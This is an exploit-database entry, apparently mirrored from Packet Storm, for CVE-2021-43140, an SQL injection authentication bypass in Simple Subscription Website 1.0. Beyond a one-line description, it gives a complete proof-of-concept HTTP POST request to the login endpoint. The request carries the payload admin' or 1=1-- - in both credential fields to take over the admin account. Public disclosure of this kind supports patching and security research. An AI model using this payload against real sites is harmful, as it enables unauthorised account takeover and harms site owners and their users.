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## https://sploitus.com/exploit?id=PACKETSTORM:164968
# Exploit Title: Simple Subscription Website 1.0 - SQLi Authentication Bypass  
# Exploit Author: Daniel Haro (Dirox)  
# Vendor Homepage: https://www.sourcecodester.com/php/15013/simple-subscription-website-admin-panel-php-and-sqlite-source-code.html  
# Software Link: https://www.sourcecodester.com/php/15013/simple-subscription-website-admin-panel-php-and-sqlite-source-code.html  
# Version: Simple Subscription Website 1.0  
# Tested on: Windows, xampp  
# CVE: CVE-2021-43140  
  
- Description:  
SQL Injection vulnerability exists in Sourcecodester. Simple Subscription Website 1.0. An account takeover exists with the payload: admin' or 1=1-- -  
  
PoC:  
  
POST /plan_application/Actions.php?a=login HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 57  
Origin: http://127.0.0.1  
Connection: close  
Referer: http://127.0.0.1/plan_application/admin/login.php  
Cookie: PHPSESSID=lcikn75hk4lk03t5onj0022mj3  
  
username=admin'+or+1%3D1--+-&password=admin'+or+1%3D1--+-